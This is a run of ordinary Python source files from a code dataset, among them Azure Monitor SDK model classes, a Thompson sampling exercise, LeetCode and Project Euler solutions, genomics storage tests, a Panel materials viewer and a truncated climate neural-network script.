receiver_name: Required. The name of the receiver to resubscribe.\n :type receiver_name: str\n \"\"\"\n\n _validation = {\n 'receiver_name': {'required': True},\n }\n\n _attribute_map = {\n 'receiver_name': {'key': 'receiverName', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n receiver_name: str,\n **kwargs\n ):\n super(EnableRequest, self).__init__(**kwargs)\n self.receiver_name = receiver_name\n\n\nclass ErrorResponse(msrest.serialization.Model):\n \"\"\"Describes the format of Error response.\n\n :param code: Error code.\n :type code: str\n :param message: Error message indicating why the operation failed.\n :type message: str\n \"\"\"\n\n _attribute_map = {\n 'code': {'key': 'code', 'type': 'str'},\n 'message': {'key': 'message', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n code: Optional[str] = None,\n message: Optional[str] = None,\n **kwargs\n ):\n super(ErrorResponse, self).__init__(**kwargs)\n self.code = code\n self.message = message\n\n\nclass ItsmReceiver(msrest.serialization.Model):\n \"\"\"An Itsm receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the Itsm receiver. Names must be unique across all receivers\n within an action group.\n :type name: str\n :param workspace_id: Required. OMS LA instance identifier.\n :type workspace_id: str\n :param connection_id: Required. Unique identification of ITSM connection among multiple defined\n in above workspace.\n :type connection_id: str\n :param ticket_configuration: Required. JSON blob for the configurations of the ITSM action.\n CreateMultipleWorkItems option will be part of this blob as well.\n :type ticket_configuration: str\n :param region: Required. Region in which workspace resides. Supported\n values:'centralindia','japaneast','southeastasia','australiasoutheast','uksouth','westcentralus','canadacentral','eastus','westeurope'.\n :type region: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'workspace_id': {'required': True},\n 'connection_id': {'required': True},\n 'ticket_configuration': {'required': True},\n 'region': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'workspace_id': {'key': 'workspaceId', 'type': 'str'},\n 'connection_id': {'key': 'connectionId', 'type': 'str'},\n 'ticket_configuration': {'key': 'ticketConfiguration', 'type': 'str'},\n 'region': {'key': 'region', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n workspace_id: str,\n connection_id: str,\n ticket_configuration: str,\n region: str,\n **kwargs\n ):\n super(ItsmReceiver, self).__init__(**kwargs)\n self.name = name\n self.workspace_id = workspace_id\n self.connection_id = connection_id\n self.ticket_configuration = ticket_configuration\n self.region = region\n\n\nclass LocalizableString(msrest.serialization.Model):\n \"\"\"The localizable string class.\n\n All required parameters must be populated in order to send to Azure.\n\n :param value: Required. The invariant value.\n :type value: str\n :param localized_value: The locale specific value.\n :type localized_value: str\n \"\"\"\n\n _validation = {\n 'value': {'required': True},\n }\n\n _attribute_map = {\n 'value': {'key': 'value', 'type': 'str'},\n 'localized_value': {'key': 'localizedValue', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n value: str,\n localized_value: Optional[str] = None,\n **kwargs\n ):\n super(LocalizableString, self).__init__(**kwargs)\n self.value = value\n self.localized_value = localized_value\n\n\nclass LogicAppReceiver(msrest.serialization.Model):\n \"\"\"A logic app receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the logic app receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param resource_id: Required. The azure resource id of the logic app receiver.\n :type resource_id: str\n :param callback_url: Required. The callback url where http request sent to.\n :type callback_url: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'resource_id': {'required': True},\n 'callback_url': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'resource_id': {'key': 'resourceId', 'type': 'str'},\n 'callback_url': {'key': 'callbackUrl', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n resource_id: str,\n callback_url: str,\n **kwargs\n ):\n super(LogicAppReceiver, self).__init__(**kwargs)\n self.name = name\n self.resource_id = resource_id\n self.callback_url = callback_url\n\n\nclass SmsReceiver(msrest.serialization.Model):\n \"\"\"An SMS receiver.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the SMS receiver. Names must be unique across all receivers\n within an action group.\n :type name: str\n :param country_code: Required. The country code of the SMS receiver.\n :type country_code: str\n :param phone_number: Required. The phone number of the SMS receiver.\n :type phone_number: str\n :ivar status: The status of the receiver. Possible values include: \"NotSpecified\", \"Enabled\",\n \"Disabled\".\n :vartype status: str or ~$(python-base-namespace).v2018_09_01.models.ReceiverStatus\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'country_code': {'required': True},\n 'phone_number': {'required': True},\n 'status': {'readonly': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'country_code': {'key': 'countryCode', 'type': 'str'},\n 'phone_number': {'key': 'phoneNumber', 'type': 'str'},\n 'status': {'key': 'status', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n country_code: str,\n phone_number: str,\n **kwargs\n ):\n super(SmsReceiver, self).__init__(**kwargs)\n self.name = name\n self.country_code = country_code\n self.phone_number = phone_number\n self.status = None\n\n\nclass TimeSeriesInformation(msrest.serialization.Model):\n \"\"\"The time series info needed for calculating the baseline.\n\n All required parameters must be populated in order to send to Azure.\n\n :param sensitivities: Required. The list of sensitivities for calculating the baseline.\n :type sensitivities: list[str]\n :param values: Required. The metric values to calculate the baseline.\n :type values: list[float]\n :param timestamps: The array of timestamps of the baselines.\n :type timestamps: list[~datetime.datetime]\n \"\"\"\n\n _validation = {\n 'sensitivities': {'required': True},\n 'values': {'required': True},\n }\n\n _attribute_map = {\n 'sensitivities': {'key': 'sensitivities', 'type': '[str]'},\n 'values': {'key': 'values', 'type': '[float]'},\n 'timestamps': {'key': 'timestamps', 'type': '[iso-8601]'},\n }\n\n def __init__(\n self,\n *,\n sensitivities: List[str],\n values: List[float],\n timestamps: Optional[List[datetime.datetime]] = None,\n **kwargs\n ):\n super(TimeSeriesInformation, self).__init__(**kwargs)\n self.sensitivities = sensitivities\n self.values = values\n self.timestamps = timestamps\n\n\nclass VoiceReceiver(msrest.serialization.Model):\n \"\"\"A voice receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the voice receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param country_code: Required. The country code of the voice receiver.\n :type country_code: str\n :param phone_number: Required. The phone number of the voice receiver.\n :type phone_number: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'country_code': {'required': True},\n 'phone_number': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'country_code': {'key': 'countryCode', 'type': 'str'},\n 'phone_number': {'key': 'phoneNumber', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n country_code: str,\n phone_number: str,\n **kwargs\n ):\n super(VoiceReceiver, self).__init__(**kwargs)\n self.name = name\n self.country_code = country_code\n self.phone_number = phone_number\n\n\nclass WebhookReceiver(msrest.serialization.Model):\n \"\"\"A webhook receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the webhook receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param service_uri: Required. The URI where webhooks should be sent.\n :type service_uri: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'service_uri': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'service_uri': {'key': 'serviceUri', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n service_uri: str,\n **kwargs\n ):\n super(WebhookReceiver, self).__init__(**kwargs)\n self.name = name\n self.service_uri = service_uri\n","repo_name":"mirespace/python-azure","sub_path":"sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2018_09_01/models/_models_py3.py","file_name":"_models_py3.py","file_ext":"py","file_size_in_byte":32901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"6084428203","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 8 16:15:21 2018\n\n@author: Nik\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndataset = pd.read_csv('Ads_CTR_Optimisation.csv')\n\n#implementing the random selection\nimport random\nad_types_random = 10\nads_selected_random = []\ntotal_reward_random = 0\nfor i in range(len(dataset)):\n ad = random.randrange(ad_types_random)\n ads_selected_random.append(ad)\n reward = dataset.values[i,ad]\n total_reward_random = total_reward_random + reward\n \n# Visualising the results\nplt.hist(ads_selected_random)\nplt.title('Histogram of ads selections at Random')\nplt.xlabel('Ads')\nplt.ylabel('Number of times each ad was selected')\nplt.show() \n\n#implementin Thopson Sampling\nimport random\nad_types_ts = 10\nads_selected_ts = []\ntotal_reward_ts = 0\nno_of_rewards_1 = [0]*ad_types_ts\nno_of_rewards_0 = [0]*ad_types_ts\n\nfor n in range(len(dataset)):\n ad = 0\n max_theta = 0\n for i in range(ad_types_ts):\n beta = random.betavariate(no_of_rewards_1[i]+1,no_of_rewards_0[i]+1)\n if beta>max_theta:\n max_theta = beta\n ad = i\n ads_selected_ts.append(ad)\n reward = dataset.values[n,ad]\n if reward == 1:\n no_of_rewards_1[ad] = no_of_rewards_1[ad] + 1\n else:\n no_of_rewards_0[ad] = no_of_rewards_0[ad] + 1\n total_reward_ts = total_reward_ts + reward\n\n# Visualising the results\nplt.hist(ads_selected_random)\nplt.title('Histogram of ads selections using Thompson Sampling')\nplt.xlabel('Ads')\nplt.ylabel('Number of times each ad was selected')\nplt.show()\n\nprint(\"By random selection\",total_reward_random)\nprint(\"Using Thompson sampling\",total_reward_ts) ","repo_name":"NikhilArroju/mlcodepractice","sub_path":"ReinforcementLearning/ThompsonSampling.py","file_name":"ThompsonSampling.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18735422879","text":"#\n# @lc app=leetcode id=100 lang=python3\n#\n# [100] Same Tree\n#\nfrom collections import deque\nfrom var_dump import var_dump\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n# @lc code=start\n\nclass Solution:\n def isSameTree2(self, p: TreeNode, q: TreeNode) -> bool:\n if not p and not q:\n return True\n if not p or not q or p.val != q.val:\n return False\n return self.isSameTree(p.left, q.left) and self.isSameTree(p.right, q.right)\n\n\n def isSameTree(self, p: TreeNode, q: TreeNode) -> bool:\n def check(p1, q1):\n if not p1 and not q1:\n return True\n if not p1 or not q1 or p1.val != q1.val:\n return False\n return True\n\n qe = deque([(p, q)])\n while qe:\n p1, q1 = qe.popleft()\n if not check(p1, q1):\n return False\n if p1 and q1:\n qe.append((p1.left, q1.left))\n qe.append((p1.right, q1.right))\n return True\n\n \n# @lc code=end\n\nclass BSTree:\n \n def __init__(self, ary: list[int]):\n self.head = None\n self.build(ary)\n\n\n def build(self, ary: list[int]) -> TreeNode:\n if not ary: return None\n\n from collections import deque\n self.head = TreeNode(ary[0]) \n q = deque([self.head])\n\n for i in range(1, len(ary)):\n if i % 2 == 1:\n node = q.popleft()\n if ary[i]:\n node.left = TreeNode(ary[i])\n q.append(node.left)\n else:\n if ary[i]:\n node.right = TreeNode(ary[i])\n q.append(node.right)\n return self.head\n\n\np = [1,2,3]\nq = [1,2,3]\n\ntp = BSTree(p)\ntq = BSTree(q)\nso = Solution()\nr = so.isSameTree(tp.head, tq.head)\nprint(r)","repo_name":"lancelijade/leetcode","sub_path":"vscode/100.same-tree.py","file_name":"100.same-tree.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18994937940","text":"from functools import reduce\nfrom itertools import product\nimport math\nimport utils.utility as util\nimport operator as op\n\n\n@util.memorize\ndef problem114():\n L = 3\n\n def tiles(n):\n return 1 + sum((k-L+1)*tiles(n-k-1) for k in range(L, n+1))\n\n return tiles(50)\n\n\ndef problem115():\n M = 50\n L = 1000000\n\n @util.memorize\n def tiles(m, n):\n return 1 + sum((k-m+1)*tiles(m, n-k-1) for k in range(m, n+1))\n\n n = 1\n while True:\n n += 1\n if tiles(M, n) > L:\n break\n return(n)\n\n\ndef problem116():\n N = 50\n M = (2, 3, 4)\n\n @util.memorize\n def tiles(n, m):\n return 1 + sum(tiles(k, m) for k in range(n-m+1))\n\n return sum(tiles(N, k)-1 for k in M)\n\n\ndef problem117():\n N = 50\n M = (2, 3, 4)\n\n @util.memorize\n def tiles(n):\n return 1 + sum(tiles(k) for m in M for k in range(n-m+1))\n\n return tiles(N)\n\n\ndef problem119():\n L = 30\n\n ret = set()\n for a in range(100):\n x = a\n for b in range(20):\n x *= a\n if x < 10: continue\n if sum(int(i) for i in str(x)) == a: ret.add(x)\n\n return sorted(ret)[L-1]\n\n\ndef problem120():\n return sum(n*(n-2+n%2) for n in range(3, 1001))\n\n\ndef problem121():\n N = 15\n s = 0\n for l in product(*([(0, 1)]*N)):\n if sum(l) * 2 > N:\n s += reduce(op.mul,\n ((i + 1) if v == 0 else 1 for i, v in enumerate(l)),1)\n\n return math.factorial(N+1)//s\n\n\nprint(problem114())\nprint(problem115())\n# print(problem116())\n# print(problem117())\nprint(problem119())\nprint(problem120())\n# print(problem121())\n","repo_name":"rRupeshRanjan/project-euler","sub_path":"src/main/python/Q111_121.py","file_name":"Q111_121.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14276018888","text":"# This program calculates the next number\r\n## in the Fibonacci sequence after\r\n### your input number.\r\n#########################################\r\n\r\ndef fib(n):\r\n if n == 0:\r\n return 0\r\n elif n == 1:\r\n return 1\r\n else:\r\n return fib(n-1) + fib(n-2)\r\nn = int(input(\"Please enter your number : \"))\r\nprint(fib(n)) \r\n","repo_name":"NatTerpilowska/DailyChallengeSolutions","sub_path":"Daily2.py","file_name":"Daily2.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70182290967","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport numpy as np\nimport cv2\n\n\nclass GaussianBlurConv(nn.Module):\n def __init__(self, channels=3):\n super(GaussianBlurConv, self).__init__()\n self.channels = channels\n kernel = [[0.00078633, 0.00655965, 0.01330373, 0.00655965, 0.00078633],\n [0.00655965, 0.05472157, 0.11098164, 0.05472157, 0.00655965],\n [0.01330373, 0.11098164, 0.22508352, 0.11098164, 0.01330373],\n [0.00655965, 0.05472157, 0.11098164, 0.05472157, 0.00655965],\n [0.00078633, 0.00655965, 0.01330373, 0.00655965, 0.00078633]]\n kernel = torch.FloatTensor(kernel).unsqueeze(0).unsqueeze(0)\n kernel = np.repeat(kernel, self.channels, axis=0)\n self.weight = nn.Parameter(data=kernel, requires_grad=False)\n\n def __call__(self, x):\n x = F.conv2d(x.unsqueeze(0), self.weight, padding=2, groups=self.channels)\n # x.permute(3, 2, 1, 0)\n return x\n\n\ninput_x = cv2.imread(\"1.jpg\")\ncv2.imshow(\"input_x\", input_x)\ninput_x = Variable(torch.from_numpy(input_x.astype(np.float32))).permute(2, 0, 1)\ngaussian_conv = GaussianBlurConv()\nout_x = gaussian_conv(input_x)\nout_x = out_x.squeeze(0).permute(1, 2, 0).data.numpy().astype(np.uint8)\ncv2.imshow(\"out_x\", out_x)\ncv2.waitKey(0)\n\nx = torch.rand(3, 368, 368).float()\ninput_names = [\"inputs\"]\noutput_names = [\"outputs\"]\n# Export the model\ntorch_out = torch.onnx.export(gaussian_conv, x, \"gausscustom.onnx\", export_params=True, verbose=True,\n input_names=input_names, output_names=output_names)\nprint(\"export onnx done\")","repo_name":"DannielWang/SimpleGuassLayer_for_ONNX","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19649366516","text":"import unittest\nimport warnings\nimport re\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory, NamedTemporaryFile\n\nimport zarr\nimport dask\nimport numpy as np\nimport dask.array as da\n\nfrom variation6 import (GT_FIELD, QUAL_FIELD, FLT_VARS, VARIATION_FIELDS,\n CALL_FIELDS)\nfrom variation6.tests import TEST_DATA_DIR\nfrom variation6.filters import remove_low_call_rate_vars\nfrom variation6.in_out.zarr import load_zarr, vcf_to_zarr, prepare_zarr_storage\nfrom variation6.in_out.hdf5 import vcf_to_hdf5, load_hdf5, prepare_hdf5_storage\nfrom variation6.in_out.vcf import zarr_to_vcf\n\n\nclass TestVcfToZarr(unittest.TestCase):\n\n def test_vcf_to_zarr(self):\n with TemporaryDirectory() as tmpdir:\n vcf_path = TEST_DATA_DIR / 'freebayes5.vcf.gz'\n zarr_path = Path(tmpdir)\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n vcf_to_zarr(vcf_path, zarr_path)\n variations = load_zarr(zarr_path)\n self.assertEqual(variations.samples.shape[0], 3)\n\n def test_zarr_to_variations(self):\n zarr_path = TEST_DATA_DIR / 'test.zarr'\n variations = load_zarr(zarr_path)\n self.assertEqual(variations[GT_FIELD].shape, (7, 3, 2))\n\n\nclass TestZarrOut(unittest.TestCase):\n\n def test_save_to_zarr(self):\n zarr_path = TEST_DATA_DIR / 'test.zarr'\n variations = load_zarr(zarr_path, num_vars_per_chunk=2)\n # with this step we create a variation with dask arrays of unknown shapes\n variations = remove_low_call_rate_vars(variations, 0)[FLT_VARS]\n with TemporaryDirectory() as tmp_dir:\n tmp_path = Path(tmp_dir)\n delayed_store = prepare_zarr_storage(variations, tmp_path)\n dask.compute(delayed_store, scheduler='sync')\n variations2 = load_zarr(tmp_path)\n self.assertTrue(np.all(variations.samples.compute() == variations2.samples.compute()))\n for field in VARIATION_FIELDS + CALL_FIELDS:\n # dont chec\n if field == QUAL_FIELD:\n continue\n original = variations[field]\n if original is None:\n continue\n original = original.compute()\n new = variations2[field].compute()\n try:\n self.assertTrue(np.all(original == new))\n except AssertionError:\n for row in range(original.shape[0]):\n print(row, original[row, ...], new[row, ...])\n raise\n\n def test_zarr_functionament(self):\n # with shape\n np_array = np.random.randint(1, 10, size=1000)\n array = da.from_array(np_array)\n\n with TemporaryDirectory() as tmpdir:\n delayed = da.to_zarr(array, url=tmpdir,\n compute=False, component='/data')\n dask.compute(delayed)\n\n z_object = zarr.open_group(tmpdir, mode='r')\n\n assert np.all(np_array == z_object.data[:])\n\n # def without_shape():\n np_array = np.random.randint(1, 10, size=1000000)\n array = da.from_array(np_array)\n\n array = array[array > 5]\n\n with TemporaryDirectory() as tmpdir:\n array.compute_chunk_sizes()\n delayed = da.to_zarr(array, url=tmpdir,\n compute=False, component='/data')\n dask.compute(delayed)\n\n z_object = zarr.open_group(tmpdir, mode='r')\n\n assert np.all(np_array[np_array > 5] == z_object.data[:])\n\n # without_shape2\n np_array = np.random.randint(1, 10, size=10000000)\n array = da.from_array(np_array)\n\n array = array[array > 5]\n\n with TemporaryDirectory() as tmpdir:\n array.compute_chunk_sizes()\n delayed = da.to_zarr(array, url=tmpdir,\n compute=False, component='/data')\n dask.compute(delayed)\n\n z_object = zarr.open_group(tmpdir, mode='r')\n\n assert np.all(np_array[np_array > 5] == z_object.data[:])\n\n # write_chunks\n chunks = []\n\n sizes = (1, 2, 3)\n # total_size = sum(sizes)\n\n for i, n in enumerate(sizes):\n chunks.append(np.full(n, (i,)))\n with TemporaryDirectory() as tmpdir:\n store = zarr.DirectoryStore(tmpdir)\n root = zarr.group(store=store, overwrite=True)\n dataset = root.create_dataset('test', shape=(0,),\n chunks=chunks[0].shape,\n dtype=chunks[0].dtype)\n\n # offset = 0\n for chunk in chunks:\n dataset.append(chunk)\n\n\nclass TestVcfTohHf5(unittest.TestCase):\n\n def test_vcf_to_hdf5(self):\n with NamedTemporaryFile() as tmp_fhand:\n vcf_path = TEST_DATA_DIR / 'freebayes5.vcf.gz'\n h5_path = Path(tmp_fhand.name)\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n vcf_to_hdf5(vcf_path, h5_path)\n variations = load_hdf5(h5_path)\n self.assertEqual(variations.samples.shape[0], 3)\n\n def test_hdf5_to_variations(self):\n h5_path = TEST_DATA_DIR / 'test.h5'\n variations = load_hdf5(h5_path)\n self.assertEqual(variations[GT_FIELD].shape, (7, 3, 2))\n\n\nclass Testhdf5Out(unittest.TestCase):\n\n def test_save_to_hdf5(self):\n h5_path = TEST_DATA_DIR / 'test.h5'\n variations = load_hdf5(h5_path)\n# h5_path = TEST_DATA_DIR / 'test.zarr'\n# variations = load_zarr(h5_path)\n # with this step we create a variation with dask arrays of unknown shapes\n variations = remove_low_call_rate_vars(variations, 0)[FLT_VARS]\n\n with NamedTemporaryFile(suffix='.h5') as tmp_dir:\n tmp_path = Path(tmp_dir.name)\n delayed_store = prepare_hdf5_storage(variations, tmp_path)\n dask.compute(delayed_store)\n variations2 = load_hdf5(tmp_path)\n self.assertEqual(variations.metadata, variations2.metadata)\n self.assertTrue(np.all(variations.samples.compute() == variations2.samples.compute()))\n for field in VARIATION_FIELDS + CALL_FIELDS:\n # dont chec\n if field == QUAL_FIELD:\n continue\n original = variations[field]\n if original is None:\n continue\n original = original.compute()\n new = variations2[field].compute()\n self.assertTrue(np.all(original == new))\n\n\nclass VcfTest(unittest.TestCase):\n\n def test_save_to_vcf(self):\n zarr_path = TEST_DATA_DIR / 'test.zarr'\n expected_vcf = '''##fileformat=VCFv4.2\n##FORMAT=\n##FORMAT== 20\">\n##FORMAT=\n##FORMAT=\n##FORMAT=\n'''\n body = '''#CHROM POS ID REF ALT QUAL FILTER INFO FORMAT pepo mu16 upv196\nCUUC00007_TC01 640 . A C . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. 0,0:0:10:17:0,0:10 1,1:9:9:46:1,1:0\nCUUC00007_TC01 656 . A C . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. 0,0:0:9:18:0,0:9 1,1:8:8:41:1,1:0\nCUUC00007_TC01 665 . G A . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. 0,0:0:9:18:0,0:9 1,1:8:8:41:1,1:0\nCUUC00025_TC01 285 . C G . . . GT:AO:DP:GQ:GT:RO 0,1:9:14:35:0,1:5 .:.:.:.:.:. 0,0:0:6:10:0,0:6\nCUUC00027_TC01 238 . A G . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. .:.:.:.:.:. .:.:.:.:.:.\nCUUC00029_TC01 25 . C A . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. 0,1:6:9:23:0,1:3 .:.:.:.:.:.\nCUUC00029_TC01 34 . A G . . . GT:AO:DP:GQ:GT:RO .:.:.:.:.:. 0,1:6:10:22:0,1:4 1,1:5:6:21:1,1:1\n'''\n expected_vcf += re.sub(' +', '\\t', body)\n with NamedTemporaryFile(mode='wb') as out_fhand:\n zarr_to_vcf(zarr_path, out_fhand, chunk_size=1)\n out_fhand.flush()\n with open(out_fhand.name, 'r') as in_fhand:\n result_vcf = in_fhand.read()\n assert expected_vcf in result_vcf\n\n\nif __name__ == '__main__':\n # import sys; sys.argv = ['.', 'VcfTest']\n unittest.main()\n","repo_name":"pziarsolo/variation6","sub_path":"variation6/tests/test_inout.py","file_name":"test_inout.py","file_ext":"py","file_size_in_byte":8694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26619527823","text":"#!/usr/bin/env python\n\nimport panel as pn\nimport pandas as pd\n\nfrom details.isotherms import plot_isotherms, get_widom_df\nfrom details.dft_info import plot_energy_steps\nfrom details.structure import structure_jsmol\nfrom details.utils import get_mat_id, get_details_title, get_geom_table, get_appl_table, get_title\nfrom pipeline_config import get_mat_dict\n\npn.extension(css_files=['details/static/style.css'])\n\n\nclass DetailView():\n\n def __init__(self):\n self.mat_id = get_mat_id()\n self.mat_dict = get_mat_dict(self.mat_id)\n print(\">> Display details of MAT_ID:\", self.mat_id)\n\n def title_col(self):\n col = pn.Column(width=700)\n col.append(pn.pane.Markdown(get_details_title(self.mat_dict)))\n return col\n\n def structure_col(self):\n col = pn.Column(sizing_mode='stretch_width')\n col.append(get_title('Cell optimized structure', uuid=self.mat_dict['opt_cif_ddec'].uuid))\n col.append(pn.pane.Bokeh(structure_jsmol(self.mat_dict['opt_cif_ddec'])))\n col.append(get_title('Energy profile during cell optimization', uuid=self.mat_dict['dftopt'].uuid))\n col.append(pn.pane.Bokeh(plot_energy_steps(dftopt_out=self.mat_dict['dftopt'])))\n col.append(get_title('Geometric properties', uuid=self.mat_dict[\"opt_zeopp\"].uuid))\n col.append(pn.pane.Markdown(get_geom_table(self.mat_dict[\"opt_zeopp\"])))\n return col\n\n def properties_col(self):\n col = pn.Column(sizing_mode='stretch_width')\n col.append(pn.pane.Markdown('## All computed isotherms'))\n col.append(pn.pane.Bokeh(plot_isotherms(self.mat_id), sizing_mode='stretch_width'))\n col.append(pn.pane.Markdown(\"## All computed Henry's coefficients (mol/kg/Pa)\"))\n with pd.option_context('display.max_colwidth', None):\n col.append(get_widom_df(self.mat_dict, select=\"kh\").to_html(escape=False))\n col.append(pn.pane.Markdown(\"## All computed Heat of adsorption @ infinite dilution (kJ/mol)\"))\n with pd.option_context('display.max_colwidth', None):\n col.append(get_widom_df(self.mat_dict, select=\"hoa\").to_html(escape=False))\n return col\n\n def applications_col(self):\n col = pn.Column(sizing_mode='stretch_width')\n col.append(pn.pane.Markdown('## Numerical values for all the applications'))\n col.append(pn.pane.HTML(get_appl_table(self.mat_dict)))\n return col\n\n\ndv = DetailView()\n\ntabs = pn.Tabs(tabs_location='left', sizing_mode='stretch_width')\ntabs.extend([\n (\"Applications\", dv.applications_col()),\n (\"Properties\", dv.properties_col()),\n (\"Structure\", dv.structure_col()),\n])\n\npage = dv.title_col()\npage.append(tabs)\npage.servable()\n","repo_name":"materialscloud-org/discover-curated-cofs","sub_path":"details/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8631691421","text":"# Calculadora em Python\n\n# Desenvolva uma calculadora em Python com tudo que você aprendeu nos capítulos até aqui no curso. \n# A solução será apresentada no próximo capítulo!\n\nprint(\"\\n******************* Calculadora em Python *******************\\n\")\nprint(\"Selecione o número da opção desejada\\n\")\nprint(\"1 - Soma\")\nprint(\"2 - Subtração\")\nprint(\"3 - Multiplicação\")\nprint(\"4 - Divisão\\n\")\noperacao = input(\"Digite sua operação (1/2/3/4): \" )\nwhile operacao not in (\"1\", \"2\", \"3\", \"4\"):\n print(\"Opção inválida!\")\n operacao = input(\"Digite sua operação (1/2/3/4): \" )\n\nn1 = float(input(\"Digite o primeiro número: \"))\nn2 = float(input(\"Digite o segundo número: \"))\nif operacao == \"1\":\n resultado = n1 + n2\n operacao = \"+\"\nelif operacao == \"2\":\n resultado = n1 - n2\n operacao = \"-\"\nelif operacao == \"3\":\n resultado = n1 * n2\n operacao = \"*\"\nelif operacao == \"4\":\n if n2 != 0:\n resultado = n1 / n2\n operacao = \"/\"\n else:\n print(\"Impossível divisão por zero\")\n exit(0)\nprint(f\"{n1} {operacao} {n2} = {resultado}\")\n \n\n\n\n\n\n","repo_name":"tenoriobruno/python-dsa","sub_path":"Lab2-cap5/calculadora_v1.py","file_name":"calculadora_v1.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23385243985","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 24 17:03:24 2023\n\n@author: emgordy\n\"\"\"\n\n# train optimal model!\n\nimport numpy as np\nimport glob\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport sys\n\nsys.path.append('functions/')\n# custom modules, les miennes\nimport preprocessing\nimport metrics\nimport ANN\nimport experiment_settings\n\nimport tensorflow as tf\nfrom tensorflow.keras import losses\nfrom tensorflow.keras import callbacks\nfrom tensorflow.keras import optimizers\n\n#pretty plots\nmpl.rcParams['figure.facecolor'] = 'white'\nmpl.rcParams['figure.dpi']= 150\nmpl.rcParams['font.family'] = 'sans-serif'\nmpl.rcParams['font.sans-serif'] = ['Helvetica']\nmpl.rcParams['font.size'] = 12\n\nparams = {\"ytick.color\" : \"k\",\n \"xtick.color\" : \"k\",\n \"axes.labelcolor\" : \"k\",\n \"axes.edgecolor\" : \"k\"}\nplt.rcParams.update(params)\n\n#%%\nly1 = 1\nly2 = 5\naveraginglength = 10\n\ntrendlength = 10\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ntrainensnums = [0,1,2] # which pair from each set of 10\nvalensnums = [3]\ntestensnums = [4]\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ntrainens = preprocessing.enslists(trainensnums)\nvalens = preprocessing.enslists(valensnums)\ntestens = preprocessing.enslists(testensnums)\n\nlossfunction = losses.CategoricalCrossentropy()\n\ndef scheduler(epoch,lr):\n lr_init = 0.1\n if epoch < 30:\n return lr_init\n else:\n return 0.1*lr_init\n\nlr_callback = callbacks.LearningRateScheduler(scheduler)\n\ndef class_weight_dictionary(Ytrain):\n Ylab = np.argmax(Ytrain,axis=1)\n n = []\n for i in range(np.max(Ylab)+1):\n n.append(len(Ylab[Ylab==i]))\n max_sample = np.max(n)\n 